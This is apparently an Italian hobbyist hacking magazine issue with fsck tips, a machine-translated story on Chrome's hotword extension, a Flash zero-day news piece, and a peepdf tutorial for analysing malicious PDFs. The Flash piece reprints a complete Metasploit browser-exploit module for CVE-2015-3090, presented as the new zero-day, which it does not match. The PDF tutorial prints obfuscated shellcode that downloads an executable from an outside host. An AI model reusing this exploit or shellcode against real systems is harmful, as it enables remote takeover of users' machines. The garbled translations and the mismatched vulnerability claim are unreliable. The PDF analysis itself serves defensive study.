L'opzione -a è lo stesso p in utility e2fsck. Essa provoca e2fsck per
correggere eventuali problemi rilevati che deve essere fissato in modo
sicuro senza l'interazione dell'utente.
Nel caso in cui fsck richiede attenzione dell'amministratore, esce
semplicemente con il codice di errore 4 prima di stampare la descrizione
del problema.
# fsck -a /dev/sda6
fsck from util-linux 2.20.1
/dev/sda6 contains a file system with errors, check forced.
/dev/sda6: Inode 2060353 is a unknown file type with mode 0173 but it
looks
like it is really a directory.
/dev/sda6: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.
(i.e., without -a or -p options)
# echo $?
4
Come ricorderete, l'opzione -y fsck può essere usata qui per risolvere
automaticamente il problema di cui sopra.
# fsck -y /dev/sda6
fsck from util-linux 2.20.1
e2fsck 1.42 (29-Nov-2011)
/dev/sda6 contains a file system with errors, check forced.
Pass 1: Checking inodes, blocks, and sizes
Inode 2060353 is a unknown file type with mode 0173 but it looks
like it is really a directory.
Fix? yes
Pass 2: Checking directory structure
Inode 49057 (/fwh) has invalid mode (013).
Clear? yes
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
Block bitmap differences: -(164356--164357)
Fix? yes
Free blocks count wrong for group #5 (0, counted=2).
Fix? yes
Free blocks count wrong (682908, counted=682910).
Fix? yes
/dev/sda6: ***** FILE SYSTEM WAS MODIFIED *****
/dev/sda6: 95/2240224 files (7.4% non-contiguous), 3793506/4476416
blocks
Chrome lo spione
Google è stato sotto il fuoco di scaricare e installare una estensione
Chrome surrettiziamente e successivamente ascoltato le conversazioni
degli utenti senza il consenso di cromo.
Dopo queste accuse, un'ondata di critiche da parte di attivisti della
privacy e sviluppatori open source ha portato a Google di rimuovere
l'estensione da Chromium , la versione open source del browser
Chrome.
L'estensione in questione è "Chrome hotword", che è risultato essere
responsabile dell'offerta famosa" del browser OK, Google funzionalità
".
'Ok, Google'è certamente una caratteristica utile che permette agli utenti
di cercare le cose attraverso la loro voce quando usano Google come
motore di ricerca predefinito, ma è una cosa che consente anche
l'intercettazione di ogni singola conversazione fatta da un utente
Google silenziosamente gli ascolti la conversazione
Questo problema è venuto alla luce dal fondatore del Partito Pirata Rick
Falkvinge, che dice Google ha silenziosamente installato nero codice
scatola nel browser Chromium open source, il che significa che contiene
il codice precompilato che gli utenti non possono vedere.
Esattamente quello che fa questo scatola nera è ancora chiaro, ma
Falkvinge ha sostenuto che Google sta ascoltando le conversazioni degli
utenti di cromo attraverso questa scatola nera di codice.
Il codice di 'scatola nera' attivata una funzione che attiva una funzione
di ricerca del browser quando si dice "Ok, Google", tuttavia il codice
attivato il microfono, così come consentito catturare audio.
"Il computer è stato invisibile configurato per inviare ciò che
è stato detto nella vostra stanza a qualcuno, ad una società
privata in un altro paese, senza il consenso o la conoscenza",
diceFalkvinge.
Google ha risposto alla Issue
Google poiché si difese, sostenendo la possibilità di utilizzare "Ok
Google" comandi e attivare l'estensione è un opt-in funzione.
"In primo luogo, mentre facciamo scaricare il modulo
hotword all'avvio, noi non attivano a meno che non si opta in
hotwording,"Google ha scritto sul suo forum di sviluppo.
"Se si va in. 'Chrome: // settings,' vedrete una casella di
controllo 'Abilita' Ok Google 'per avviare una ricerca vocale
Questo dovrebbe essere disattivate di default, e se non si
seleziona esso, il modulo hotword non lo farà essere avviato.
"
Google ha anche sostenuto che Chrome non è open source e se
qualcuno dei distributori open source come Debian hanno alcun
problema con esso, si dovrebbe disabilitare il modulo se stessi.
Tuttavia, dopo aver ricevuto lamentele sul "bug" che installa
automaticamente i moduli condivisi Chrome hotword senza una
configurazione di opt-out, Debian ha risolto il problema disattivando
l'estensione nella loro distribuzione di Chromium.
Google - Noi non siamo responsabili per gli altri browser
Google non nega l'installazione del codice scatola nera nel browser
Chromium, ma l'azienda non si ritiene responsabile per gli altri browser
web che includono il codice.
"Il nostro obiettivo primario è sempre il codice pronto per
Google Chrome", spiega Google. "Se una terza parte (come
Debian) distribuisce, è loro responsabilità di far rispettare la
propria politica."
La questione chiave è l'inclusione di codice scatola nera in Chromium,
che dovrebbe essere un progetto open-source che permette a tutti audire
il codice.
Tuttavia, dice Falkvinge Chromium "aveva abusato della sua posizione
di fiducia a monte per inserire linee di codice sorgente che aggiravano il
processo di controllo-poi-build, e che scaricate e installate una scatola
nera di codice eseguibile non verificabile direttamente sul computer, in
sostanza, rendendoli compromessi. "
Questo problema ha costretto Google di apportare modifiche in
Chromium 45 disabilitando l'estensione Chrome hotword, rendendo più
facile per i distributori terzi per disabilitare hotwording.
[Fonte: Swati Khandelwal , traduzione: afr0]
ADOBE 0 DAY
Adobe ha lanciato una patch software emergenza per il suo Flash Player
per patchare una vulnerabilità zero-day critico che è già sfruttata dagli
hacker in natura.
La società ha detto che la falla potrebbe potenzialmente consentire agli
hacker di assumere il controllo del sistema interessato e che aveva le
prove di " attacchi limitati e mirati ", che sfruttano la falla.
Pertanto, Adobe sta esortando gli utenti e gli amministratori di
aggiornare immediatamente il loro software.
Circa il zero-day difetto:
La vulnerabilità, qui riportata:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name'
=> 'Adobe Flash Player ShaderJob Buffer
Overflow',
'Description'
=> %q{
This module exploits a buffer overflow vulnerability related to the
ShaderJob workings on
Adobe Flash Player. The vulnerability happens when trying to apply
a Shader setting up the
same Bitmap object as src and destination of the ShaderJob.
Modifying the "width" attribute
of the ShaderJob after starting the job it's possible to create a
buffer overflow condition
where the size of the destination buffer and the length of the copy
are controlled. This
module has been tested successfully on:
* Windows 7 SP1 (32-bit), IE11 and Adobe Flash 17.0.0.169.
* Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash
17.0.0.169.
* Windows 8.1, Firefox 38.0.5 and Adobe Flash 17.0.0.169.
* Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash
11.2.202.457.
},
'License'
=> MSF_LICENSE,
'Author'
=>
[
'Chris Evans', # Vulnerability discovery
'Unknown', # Exploit in the wild
'juan vazquez' # msf module
],
'References'
=>
[
['CVE', '2015-3090'],
['URL', 'https://helpx.adobe.com/security/products/flashplayer/apsb15-09.html'],
['URL', 'https://www.fireeye.com/blog/threatresearch/2015/05/angler_ek_exploiting.html'],
['URL', 'http://malware.dontneedcoffee.com/2015/05/cve-20153090-flash-up-to-1700169-and.html'],
['URL', 'http://www.brooksandrus.com/blog/2009/03/11/bilinearresampling-with-flash-player-and-pixel-bender/']
],
'Payload'
=>
{
'DisableNops' => true
},
'Platform'
=> ['win', 'linux'],
'Arch'
=> [ARCH_X86],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:arch => ARCH_X86,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::LINUX ||
os =~ OperatingSystems::Match::WINDOWS_7 ||
os =~ OperatingSystems::Match::WINDOWS_81
end,
:ua_name => lambda do |ua|
case target.name
when 'Windows'
return true if ua == Msf::HttpClients::IE || ua ==
Msf::HttpClients::FF
when 'Linux'
return true if ua == Msf::HttpClients::FF
end
false
end,
:flash => lambda do |ver|
case target.name
when 'Windows'
return true if ver =~ /^17\./ && Gem::Version.new(ver) <=
Gem::Version.new('17.0.0.169')
when 'Linux'
return true if ver =~ /^11\./ && Gem::Version.new(ver) <=
Gem::Version.new('11.2.202.457')
end
false
end
},
'Targets'
=>
[
[ 'Windows',
{
'Platform' => 'win'
}
],
[ 'Linux',
{
'Platform' => 'linux'
}
]
],
'Privileged'
=> false,
'DisclosureDate' => 'May 12 2015',
'DefaultTarget'
=> 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/xshockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' =>
'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' =>
'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)
os_name = target_info[:os_name]
if target.name =~ /Windows/
platform_id = 'win'
elsif target.name =~ /Linux/
platform_id = 'linux'
end
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/
swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<
%=platform_id%>&os=<%=os_name%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1"
height="1" src="<%=swf_random%>" allowScriptAccess="always"
FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<
%=os_name%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-20153090', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end
è un codice bug esecuzione remota che consente agli hacker di
assumere il controllo di un sistema di computer interessato.
Truffatori Cyber stanno già sfruttando questa vulnerabilità zero-day in
natura, nel tentativo di dirottare i computer, i sistemi che eseguono il
targeting di Internet Explorer in Windows 7 e Firefox su Windows XP .
La vulnerabilità è stata scoperta e segnalata da ricercatori FireEye, che
per primo ha notato il difetto sfruttando attivamente in una campagna di
phishing per indirizzare le aziende nella difesa, aerospaziale, high tech,
telecomunicazioni, edilizia e l'ingegneria, e il trasporto.
Prodotti interessati:
La falla interessa tutti i principali sistemi operativi, tra cui i sistemi
Windows, Mac e Linux.
Secondo la società, il seguente software può potenzialmente essere
influenzato dalla grave bug:
Adobe Flash Player supporto esteso versione 13.0.0.292 e versioni
precedenti 13.x versioni per Windows e Macintosh
Adobe Flash Player 18.0.0.161 e versioni precedenti per Windows e
Macintosh
Adobe Flash Player 11.2.202.466 e precedenti versioni per Linux 11.x
Il fatto che Flash è installato su quasi tutti i sistemi di computer e in
quasi tutti i browser web gli utenti sono invitati ad aggiornare il loro
software per la versione corretta di Flash Player nel più breve tempo
possibile.
Gli utenti Chrome e Windows 8 gli utenti che eseguono Internet
Explorer riceveranno automaticamente la versione aggiornata di Flash.
Gli utenti di altri browser possono ottenere la versione patchata da
pagina di download di Adobe .
[afr0]
ANALIZIAMO I PDF!!
Tutti quanti abbiamo letto di come sia facile infettare un pdf, ma meno a
letto come analizare un pdf.
In questo articolo esaminero peepdf che serve ad analizare appunto i
nostri pdf (piccola parentesi il tool e di Jose Miguel Esparza ed e
disponibile https://code.google.com/p/peepdf/wiki/Downloads?tm=2)
Andiamo avanti come si usa?
Incominciamo a dire che un problemino che mi ha dato subito era la
mancanza nella versione live di debian dove l'ho testato di pyV8
reperibile online
Cominciamo con i primi comandi
root@afr0:~# python peepdf -h
In questo modo avremo una visione piu dettagliata sui comandi che
potremmo dare (se volete leggere piu informazione sui comandi potete
andare qui: https://code.google.com/p/peepdf/wiki/Commands)
Ma proviamo a fare una prima analisi
root@afr0:~# python peepdf -f file.pdf
Con questo comando avremo una visuale abbastanza accurata, ma non
sufficente per gente come me
Quindi attiviamo la modalita interattiva (parere mio molto comoda)
root@afr0:~# python peepdf -i file.pdf
Come primo comando nella modalita interattivausiamo tree per avere
una panoramica del file
PPDF> tree
/Catalog (1)
/Fields (5)
array (2)
/JavaScript (7)
/Names (10)
/Action /JavaScript (12)
string (13)
/Pages (4)
/Page (9)
/Pages (4)
stream (11)
/ProcSet (8)
/ProcSet (8)
/Outlines (3)
dictionary (6)
/Info (14)
Cosi abbiamo una panoramica che ci sara molto comoda quindi ora
possiamo muoverci sia col comando object
PPDF> object 1 0
<< /AcroForm 5 0 R
/Threads 2 0 R
/Names 7 0 R
/OpenAction << /S /JavaScript
/JS this.uSQXcfcd2() >>
/Pages 4 0 R
/Outlines 3 0 R
/Type /Catalog
/PageLayout /SinglePage
/Dests 6 0 R
/ViewerPreferences << /PageDirection /L2R >> >>
Un altro comando molto interessante e rawstream
PPDF> rawstream 1
78 9c 45 8e c1 0a 83 30 10 44 ef f9 8a f9 83 4d |x.E....0.D.....M|
5a 15 0b 22 b4 de 2c a5 a2 bd 15 0f c1 06 09 14 |Z.."..,.........|
23 1a 4b fb f7 5d 6b a0 2c 7b d8 61 e6 ed 28 48 |#.K..]k.,{.a..(H|
ec 10 2b ec 71 88 10 41 25 29 b2 0c 74 fb 8c 06 |..+.q..A%)..t...|
54 68 af 9f ae 17 54 e9 de cc 6c 94 a8 05 5d 47 |Th....T...l...]G|
33 1c 3b 6f dd c0 01 56 90 e7 6b e4 6c 1f 33 ee |3.;o...V..k.l.3.|
0c 5a a5 56 04 c4 2f 29 a8 70 cb e0 a1 82 b5 d2 |.Z.V../).p......|
93 e1 33 f0 fe 46 41 b5 99 dd 32 75 fc 8c 7d 79 |..3..FA...2u..}y|
2e e8 62 1e 56 9f dc 9b c9 92 27 91 12 29 6f 1b |..b.V.....'..)o.|
48 5b 76 6b 23 a8 01 95 fa a5 9b 6e b2 a3 17 54 |H[vk#......n...T|
36 88 43 c1 2f a0 0d 3e 09 0a
|6.C./..>..|
Che ha anche un fratello il comantro stream
PPDF> stream 1
1 0 2 51 3 94 4 168 << /Type /Catalog
/Pages 2 0 R
/OpenAction 4 0 R >><< /Kids [ 3 0 R ]
/Type /Pages
/Count 1 >><< /Parent 2 0 R
/Type /Page
/Resources << >>
/MediaBox [ 0 0 600 800 ] >><< /Type /Action
/S /JavaScript
/JS 5 0 R >>
Un altro comando molto interessante e js_analyse
PPDF> js_analyse object 13
Javascript code:
var tX1PnUHy = new Array();
function lRUWC(E79yB, NPvAvQ){
while (E79yB.length * 2 < NPvAvQ){
E79yB += E79yB;
}
E79yB = E79yB.substring(0, NPvAvQ / 2);
return E79yB;
}
function YVYohZTd(bBeUHg){
var NTLv7BP = 0x0c0c0c0c;
rpifVgf = unescape("%u4343%u4343%u0feb%u335b
%u66c9%u80b9%u8001%uef33" +
"%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef
%ue3af%u9f64%u42f3%u9f64"+
"%u6ee7%uef03%uefeb%u64ef
%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb
%u7787"+
"%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d
%uef0d%uefef%uaa66%ub9e3"+
"%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff
%u2e87%u0a96" +
"%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa
%ue806%uefee%ub1ef%u9a66"+
"%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf
%uf5d9%u9fc0%u7807%uefef"+
"%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef
%uaa64%u85fb%ub6ed%uba64"+
"%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a
%uebaf..."
Unescaped bytes:
43 43 43 43 eb 0f 5b 33 c9 66 b9 80 01 80 33 ef |CCCC..[3.f....3.|
43 e2 fa eb 05 e8 ec ff ff ff 7f 8b 4e df ef ef |C..........N...|
ef 64 af e3 64 9f f3 42 64 9f e7 6e 03 ef eb ef |.d..d..Bd..n....|
ef 64 03 b9 87 61 a1 e1 03 07 11 ef ef ef 66 aa |.d...a........f.|
eb b9 87 77 11 65 e1 07 1f ef ef ef 66 aa e7 b9 |...w.e......f...|
87 ca 5f 10 2d 07 0d ef ef ef 66 aa e3 b9 87 00 |.._.-.....f.....|
21 0f 8f 07 3b ef ef ef 66 aa ff b9 87 2e 96 0a |!...;...f.......|
57 07 29 ef ef ef 66 aa fb af 6f d7 2c 9a 15 66 |W.)...f...o.,..f|
aa f7 06 e8 ee ef ef b1 66 9a cb 64 aa eb 85 ee |........f..d....|
b6 64 ba f7 b9 07 64 ef ef ef bf 87 d9 f5 c0 9f |.d....d.........|
07 78 ef ef ef 66 aa f3 64 2a 6c 2f bf 66 aa cf |.x...f..d*l/.f..|
87 10 ef ef ef bf 64 aa fb 85 ed b6 64 ba f7 07 |......d.....d...|
8e ef ef ef ec aa cf 28 ef b3 91 c1 8a 28 af eb |.......(.....(..|
97 8a ef ef 10 9a cf 64 aa e3 85 ee b6 64 ba f7 |.......d.....d..|
07 af ef ef ef 85 e8 b7 ec aa cb dc 34 bc bc 10 |............4...|
9a cf bf bc 64 aa f3 85 ea b6 64 ba f7 07 cc ef |....d.....d.....|
ef ef 85 ef 10 9a cf 64 aa e7 85 ed b6 64 ba f7 |.......d.....d..|
07 ff ef ef ef 85 10 64 aa ff 85 ee b6 64 ba f7 |.......d.....d..|
07 ef ef ef ef ae b4 bd ec 0e ec 0e ec 0e ec 0e |................|
6c 03 eb b5 bc 64 35 0d 18 bd 10 0f ba 64 03 64 |l....d5......d.d|
92 e7 64 b2 e3 b9 64 9c d3 64 9b f1 97 ec 1c b9 |..d...d..d......|
64 99 cf ec 1c dc 26 a6 ae 42 ec 2c b9 dc 19 e0 |d.....&..B.,....|
51 ff d5 1d 9b e7 2e 21 e2 ec 1d af 04 1e d4 11 |Q......!........|
b1 9a 0a b5 64 04 64 b5 cb ec 32 89 64 e3 a4 64 |....d.d...2.d..d|
b5 f3 ec 32 64 eb 64 ec 2a b1 b2 2d e7 ef 07 1b |...2d.d.*..-....|
11 10 10 ba bd a3 a2 a0 a1 ef 68 74 74 70 3a 2f |..........http:/|
2f 62 69 6b 70 61 6b 6f 63 2e 63 6e 2f 6e 75 63 |/bikpakoc.cn/nuc|
2f 65 78 65 2e 70 68 70
|/exe.php|
URLs in shellcode:
http://bikpakoc.cn/nuc/exe.php
Gli altri comandi js_ sono
js_beautify
js_code
js_eval
js_jjdecode
js_join
js_unescape
js_vars
Gli ultimi comandi che cito sono:
Usage: decode variable var_name filter1 [filter2 ...]
Usage: decode file file_name filter1 [filter2 ...]
Usage: decode raw offset num_bytes filter1 [filter2 ...]
Decode the content of the specified variable, file or raw bytes using the
following filters or algorithms:
base64,b64: Base64
asciihex,ahx: /ASCIIHexDecode
ascii85,a85: /ASCII85Decode
lzw: /LZWDecode
flatedecode,fl: /FlateDecode
runlength,rl: /RunLengthDecode
ccittfax,ccf: /CCITTFaxDecode
jbig2: /JBIG2Decode (Not implemented)
dct: /DCTDecode (Not implemented)
jpx: /JPXDecode (Not implemented)
PPDF> bytes 70 37
78 9c 4b 2c 28 d0 4b cc 49 2d 2a d1 50 f2 48 cd |x.K,(.K.I-*.P.H.|
c9 c9 57 08 cf 2f ca 49 51 54 54 d2 31 d6 b4 06 |..W../.IQTT.1...|
00 96 69 09 15
|..i..|
PPDF> decode raw 70 37 fl
app.alert("Hello World!!",3);
vtcheck
You need a VirusTotal API key to use this command.
Detection rate: 26/47
Last analysis date: 2013-07-01 05:43:24
Report link:
https://www.virustotal.com/file/ba3c7c763f7910ef956e27be054e9271b00
d05aab9fb153cdf30001ce422d68a/analysis/1372657404/
Scan results:
nProtect
Exploit.TIFF.Gen
McAfee
7101F6998958
K7AntiVirus
F-Prot
Symantec
Trojan.Pidief.I
2013-07-01.01
20130701
5.400.0.1158
20130701
Artemis!
9.170.8927
20130628
Exploit
4.7.1.166
20130630
CVE-0188
20131.1.0.101
20130701
Norman
7.01.04
20130701
Exploit_Gen.KDB
TrendMicro-HouseCall
9.700.0.1001
20130701
TROJ_GEN.R4FH1KI
Avast
8.0.1489.320
20130701
JS:Pdfka-gen
[Expl]
Kaspersky
9.0.0.837
20130701
HEUR:Exploit.Script.Generic
BitDefender
7.2
20130701
Exploit.TIFF.Gen
Agnitum
5.5.1.3
20130630
Exploit.CVE2010-0188
Emsisoft
3.0.0.583
20130701
Exploit.TIFF.Gen (B)
Comodo
16523
20130701
UnclassifiedMalware
F-Secure
11.0.19100.45
20130701
Exploit.TIFF.Gen
DrWeb
20130701
SCRIPT.Virus
AntiVir
7.11.88.12
20130701
EXP/Pdfjsc.EH.14
TrendMicro
9.740.0.1012
20130701
EXPL_CVE20100188
Sophos
4.90.0
20130701
Troj/PDFJs-II
Microsoft
1.9607
20130701
Exploit:Win32/Pdfjsc.EX
GData
22
20130701
Exploit.TIFF.Gen
Commtouch
5.4.1.7
20130630
CVE-0188
PCTools
9.0.0.2
20130701
Trojan.Pidief
Ikarus
T3.1.4.3.0
20130701
Exploit.Win32.CVE-2010-0188
Fortinet
5.1.146.0
20130701 W32/PDFJs.II!tr
AVG
10.0.0.1190
20130630
Exploit
Panda
10.0.3.5
20130630
Exploit/PDF.Gen.B
[crediti: Jose Miguel Esparza scritto da afr0]
The End
E anche stavolta siamo arrivati alla fine.
Sembrava non uscire mai questa rivista, sembrava non dovesse vedere la
luce, poi doveva essere l'ultima, con la relativa chiusura del blog e della
pagina facebook ….
Insomma una gran confusione.....
MA QUINDI LA RIVISTA CONTINUERA?
….
[RIVISTA CREATA DA AFR0]